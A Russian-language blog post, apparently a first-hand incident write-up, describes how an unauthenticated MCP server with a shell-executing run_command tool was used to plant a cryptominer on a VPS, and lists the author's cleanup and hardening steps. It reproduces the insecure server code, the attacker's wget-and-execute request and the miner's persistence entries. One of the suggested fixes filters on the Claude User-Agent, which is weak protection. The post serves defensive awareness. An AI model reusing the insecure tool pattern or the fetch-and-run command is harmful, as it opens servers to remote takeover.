Как мой MCP-сервер стал майнинг-фермой за 2 часа: первый публичный кейс взлома через AI-инфраструктуру

Как мой MCP-сервер стал майнинг-фермой за 2 часа: первый публичный кейс взлома через AI-инфраструктуру

TL;DR

Поднял MCP-сервер для Claude. Удобно же. Через пару часов - криптомайнер жрёт все 8 ядер. Почистил. Через 10 часов - снова майнер. Нашёл 4 точки закрепления в системе. Оказалось, что run_command без авторизации - это RCE as a Service. Для всего интернета. Бесплатно.

Письмо от хостера

29 ноября я оплатил VPS в забугорье. Настроил сервер, поднял MCP для работы с Claude - хотел чтобы AI мог выполнять команды, читать файлы, управлять инфраструктурой. Удобно же.

6 декабря получаю письмо:

"Уважаемый клиент, наша система мониторинга обнаружила аномальную нагрузку на процессор в течение последних 9 часов. Паттерн напоминает майнинг / DDoS / атаку ботов..."

Захожу на сервер:

load average: 9.15, 9.12, 9.09

На 8-ядерном сервере. CPU загружен на 100%.

Охренеть.

Что такое MCP и почему это бомба

Model Context Protocol - открытый стандарт от Anthropic для подключения AI к внешним инструментам. Появился в ноябре 2024, быстро стал популярным. Идея простая: даёшь Claude доступ к своим системам через стандартизированный протокол.

Типичный MCP-сервер выглядит так:

from fastmcp import FastMCP mcp = FastMCP("My Server") @mcp.tool() def run_command(command: str) -> str: """Execute a shell command""" return subprocess.run(command, shell=True, capture_output=True).stdout if __name__ == "__main__": mcp.run(transport="sse", host="0.0.0.0", port=8000)

А теперь внимание на экран:

  • host="0.0.0.0" - слушает на всех интерфейсах
  • shell=True - выполняет любые команды
  • Ноль авторизации

RCE для любого желающего. Заходи кто хочешь, делай что хочешь.

Анатомия атаки

Находим майнер

$ ps -eo pid,%cpu,comm --sort=-%cpu | head -5 PID %CPU COMMAND 194628 783 softirq 176535 2.7 next-server

softirq с 783% CPU? Проверяю:

$ cat /proc/194628/status | grep -E "Name|PPid|VmSize" Name: softirq PPid: 1 VmSize: 2456584 kB

Настоящий kernel thread softirq не имеет VmSize - он часть ядра. А этот - 2.4 ГБ в памяти и PID > 100000.

Замаскированный майнер. Сука.

Ещё нахожу процессы kgfptyqd — типичное рандомное имя криптомайнера.

Ищю точки закрепления

Убиваю процессы - через минуту появляются снова. Значит, есть persistence. Начинаю копать:

$ sudo crontab -l @reboot /etc/rondo/rondo react.x86_64.persisted $ cat /etc/cron.d/rondo @reboot root /etc/rondo/rondo react.x86_64.persisted $ cat /etc/init.d/rondo #!/bin/sh case "$1" in start|restart|"") /etc/rondo/rondo react.x86_64.persisted & ;; esac $ ls /etc/rc3.d/ | grep rondo S99rondo

Четыре точки закрепления. Малварь очень хотела выжить.

Как пролезли

Смотрю логи auth.log:

Dec 6 21:03:39 sudo: dev : PWD=/var/tmp/lib ; COMMAND=./rondo react.x86_64

Кто-то через MCP выполнил команду из /var/tmp/lib/. Проверяю nginx access.log - до установки защиты /messages/ endpoint был открыт без авторизации.

Атакующий просто отправил POST-запрос:

POST /messages/?session_id=xxx {"tool": "run_command", "command": "wget malware && chmod +x malware && ./malware"}

И всё. Полный контроль над сервером.

Первая чистка и повторное заражение

6 декабря в 11:30 я почистил систему:

  • Убил процессы
  • Удалил /etc/rondo/
  • Почистил crontab

Добавил защиту - токен в URL для /sse endpoint:

location /sse { if ($arg_token != "YOUR_SECRET_TOKEN") { return 403; } proxy_pass http://127.0.0.1:8000; } location /messages/ { proxy_pass http://127.0.0.1:8000; # БЕЗ ПРОВЕРКИ! }

Видите где я обосрался? Защитил /sse, но оставил /messages/ открытым - иначе Claude не мог отправлять запросы.

6 декабря в 21:03 - через 10 часов - снова заражение. Атакующий использовал открытый /messages/ напрямую.

7 декабря (сегодня) - нахожу /etc/init.d/rondo, который пропустил в первый раз. Система пересоздала cron при перезагрузке.

Вот такие дела.

Как новые серверы находят за минуты

Я думал: "Может хостер слил данные? Заразили в день оплаты..."

Хрен там. Всё проще. И хуже.

  1. Боты сканируют весь интернет постоянно - Shodan, Censys, и тысячи приватных сканеров
  2. Новый IP = свежая цель - попадает в базы за минуты
  3. Стандартные порты проверяются автоматически - 8000, 8080, 3000...
  4. MCP без авторизации = мгновенный RCE

В моих логах auth.log за неделю:

  • 3021 попытка входа с логином admin
  • 1908 попыток с user
  • 788 с ubuntu
  • Десятки тысяч в сумме

И это только SSH. MCP нашли ещё быстрее.

Моя защита

После второго заражения я сделал вот что:

1. Защита всех endpoints

location /sse { if ($arg_token != "YOUR_SECRET_TOKEN") { return 403; } proxy_pass http://127.0.0.1:8000; } location /messages/ { if ($http_user_agent !~* "Claude") { return 403; } proxy_pass http://127.0.0.1:8000; } location / { return 403; }

2. Логирование всех команд

import logging logging.basicConfig(filename='/var/log/mcp-commands.log', level=logging.INFO) @mcp.tool() def run_command(command: str) -> str: logging.info(f"COMMAND: {command}") # ...

Теперь вижу каждый вызов:

2025-12-07 08:49:39 | COMMAND: uptime 2025-12-07 08:49:45 | COMMAND: cat /proc/loadavg
Поглядим в общем, поможет ли?

3. Мониторинг в Telegram

Скрипт проверяет раз в день:

  • Нагрузка > 4 - алерт
  • Новые пользователи - алерт
  • Изменения в crontab - алерт
  • Известные имена майнеров - алерт

Если всё ок - тишина. Проблема - сразу в Telegram.

4. Fail2ban + UFW

sudo apt install fail2ban ufw sudo ufw allow ssh sudo ufw allow 80/tcp sudo ufw allow 443/tcp # Порт 8000 НЕ открываем! sudo ufw enable

Чего не хватает в экосистеме MCP

Накопал кучу статей после этой истории. Исследователи молодцы, CVE штампуют. А толку?

Ни один туториал по MCP не говорит:

  • "Добавьте авторизацию"
  • "Не используйте 0.0.0.0"
  • "Защитите ВСЕ endpoints"
  • "run_command - это бомба"

Все показывают как поднять. Никто - как не получить майнер в подарок.

Документация Anthropic содержит security best practices, но они:

  • Сложные для понимания
  • Фокусируются на OAuth и enterprise-сценариях
  • Не отвечают на вопрос "я поднял MCP на VPS, что делать?"

Выводы

  1. MCP - это RCE by design. Если у вас есть run_command, вы даёте любому, кто достучится, выполнять код на вашем сервере.
  2. Новый сервер сканируют за минуты. Не "когда-нибудь найдут", а "уже нашли пока вы читаете документацию".
  3. Защищать нужно ВСЕ endpoints. Закрыли /sse - атакуют /messages/. Закрыли и его - найдут другой путь.
  4. 4 точки закрепления - современная малварь очень хочет выжить. Одной чистки недостаточно.
  5. AI-инструменты - новый вектор атаки. Мы доверяем им доступ к системам, не думая о последствиях.

Чеклист для тех, кто использует MCP

  • [ ] Никогда host="0.0.0.0" без авторизации
  • [ ] Токен/ключ на ВСЕ endpoints, не только точку входа
  • [ ] Firewall — закрыть всё кроме необходимого
  • [ ] Логирование каждого вызова run_command
  • [ ] Мониторинг нагрузки и подозрительных процессов
  • [ ] Минимальные права — никакого sudo без пароля
  • [ ] Регулярная проверка crontab и init.d

P.S.

Пока я писал эту статью, в экосистеме MCP уже нашли:

  • CVE-2025-6514 (CVSS 9.6) — RCE в mcp-remote
  • CVE-2025-49596 (CVSS 9.4) — RCE в MCP Inspector
  • Первый malicious MCP server в npm

Исследователи бьют тревогу. Но реальных историй от пользователей - "меня взломали, вот как это было" - я не нашёл.

Теперь есть хотя бы одна.

Если у вас MCP торчит в интернет - идите проверяйте. Сейчас. Я подожду.

2